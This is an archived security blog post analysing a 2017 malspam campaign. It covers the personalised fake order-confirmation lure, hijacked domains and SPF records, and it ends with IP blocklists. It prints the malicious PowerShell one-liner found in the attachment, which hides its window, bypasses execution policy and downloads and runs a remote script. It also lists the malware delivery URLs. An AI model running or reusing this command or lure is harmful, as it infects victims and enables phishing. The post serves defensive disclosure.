Highly personalised malspam making extensive use of hijacked domains

Archived: 2026-04-05 21:22:26 UTC

This spam email contained not only the intended victim's name, but also their home address and an apparently valid mobile telephone number:

> **Sent**: 14 February 2017 13:52
> **To**: [redacted]
> **From**: <customer@localpoolrepair.com>
> **Subject**: Mr [Redacted] Your order G29804772-064 confirmation
> Dear Mr [redacted],
>
> Thank you for placing an order with us.
>
> For your reference your order number is G29804772-064.
>
> Please note this is an automated email. Please do not reply to this email.
>
> **Get your order G29804772-064 details**
>
> Your order has been placed and items in stock will be sent to the address shown below. Please check all the details of the order to ensure they are correct as we will be unable to make changes once the order has been processed. You will have been notified at the point of order if an item is out of stock already with expected delivery date.
>
> **Delivery Address**
> [address redacted]
> [telephone number redacted]
>
> **Delivery Method:**
> Standard Delivery

> **Your Order Information**
> Prices include VAT at 20%
>
> **Customer Service Feedback**
> We are always working to improve the products and service we provide to our customers - we do this through a continual review of the product range, and ongoing training of our Customer Service Team. We continually strive to improve our levels of service and we welcome feedback from our customers regarding your buying experience and the product you receive.
>
> **Feefo Independent Reviews**
> 21 days after your purchase, you will receive an email from the independent feedback company Feefo. It takes less than a minute to complete and we'd really appreciate your feedback!
>
> **IMPORTANT INFORMATION ABOUT YOUR ORDER**
>
> **Delivery**
>
> **Order Tracking**
> Once your order has left our warehouse we will email you to confirm that the items have been shipped and include tracking details of the parcel so that you may track delivery progress directly with our courier company.
>
> **Stock Availability**
> On very rare occasions not every item will be available when we come to pack and despatch your order. If this is the case you will receive an email from us letting you know which items are affected and an expected delivery time.
>
> **Product Returns**
> All items purchased are covered by our customer friendly returns policy. Please visit for full details. Thank you for placing your order with us. We really appreciate your custom and will do everything within our power to ensure you get the very best of service.

The data in the spam was identifiable as being a few years old. The intended victim does not appear on the haveibeenpwned.com database. My assumption is that this information has been harvested from an undisclosed data breach.

I was not able to extract the final payload, however the infection path is as follows:

http://**bebracelet.com**/customerarea/notification-processing-G29804772-064.doc
--> http://**customer.abudusolicitors.com**/customerarea/notification-processing-G29804772-064.doc
--> https://**customer.affiliate-labs.net**/customerarea/notification-processing-G29804772-064.zip

This ZIP file actually contains a .lnk file with the following Powershell command embedded in it:

> C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -nop -ep bypass -nologo -c IEX ((New-Object Net.WebClient).DownloadString('http://cristianinho.com/lenty/reasy.ps1'));

I couldn't get a response from the server at **cristianinho.com** [**5.152.199.228** - Redstation, UK], this looks like a possibly legitimate but hijacked domain that uses nameservers belonging to Namecheap. But that's not the only Namecheap connection, because the two "customer" subdomains are also using Namecheap hosting (for the record the subdomains are hosted on - **185.130.207.37** and **185.141.165.204** which is Host1Plus, UK / Digital Energy Technologies, DE).

Three connection to Namecheap is worrying, and certainly we've seen hijacking patterns involving other domain registrars. Or it could just be a coincidence..

The email originated from **mx119.argozelo.info** on **188.214.88.119** (Hzone, Romania). Just on a hunch, I checked the domain **argozelo.info** and it appears to be a wholly legitimate site about a Portuguese village, registered at GoDaddy hosted on Blogger. So why does it need a dedicated mail server?

Well.. this particular rabbit hole goes a little deeper. ***mx119*** gives a clue that there might be more than one mailsever, and indeed there are 34 of the critters name **mx110.argozelo.info** through to **mx143.argozelo.info** hosted on **188.214.88.110** through **188.214.88.142**. But according to Wikipedia, Argozelo only has about 700 inhabitants, so it seems unlikely that they'd need 34 mailservers in Romania.

So, my guess is that **argozelo.info** has also been hijacked, and hostnames set up for each of the mailservers. But we're not quite finished with this rabbit hole yet. Oh no.

What caught my eye was a mailserver on **188.214.88.110** (the same as **mx110.argozelo.info**) named **mail.localpoolrepair.com** which certainly rang a bell because the email was apparently *from* **customer@localpoolrepair.com** - yeah, OK.. the "From" in an email can be anything but this can't be a coincidence.

localpoolrepair.com appears to be a legitimate but unused GoDaddy-registered domain, hosted at an Athenix facility in the US. So why is there a mailserver in a Romanian IP block? A DIG at the records for this domain are revealing:

> Query for localpoolrepair.com type=255 class=1
> localpoolrepair.com SOA (Zone of Authority)
> Primary NS: dns.site5.com
> Responsible person: hostmaster@site5.com
> serial:2017021207
> refresh:3600s (60 minutes)
> retry:3600s (60 minutes)
> expire:604800s (7 days)
> minimum-ttl:3600s (60 minutes)
> localpoolrepair.com A (Address) 143.95.232.95
> localpoolrepair.com MX (Mail Exchanger) Priority: 10 mail.localpoolrepair.com
> localpoolrepair.com NS (Nameserver) dns2.site5.com
> localpoolrepair.com NS (Nameserver) dns.site5.com
> localpoolrepair.com TXT (Text Field)

> v=spf1 ip4:188.214.88.110/31 ip4:188.214.88.112/28 ip4:188.214.88.128/29 ip4:188.214.88.136/30 ip4:188.214.88.140/31 ip4:188.214.88.142/32 ~all

So.. the SPF records are valid for sending servers in the **188.214.88.110** through **188.214.88.142** range. It looks to me as if localpoolrepair.com has been hijacked and these SPF records added to it.

So we have hijacked legitimate domains with presumably a neutral or good reputation, and we have valid SPF records. This means that the spam will have decent deliverability. And then the spam itself addresses the victim by name and has personal details presumably stolen in a data breach. Could you trust *yourself* not to click the link?

Recommended blocklist (email)
188.214.88.0/24

Recommended blocklist (web)
5.152.199.228
185.130.207.37
185.141.165.204
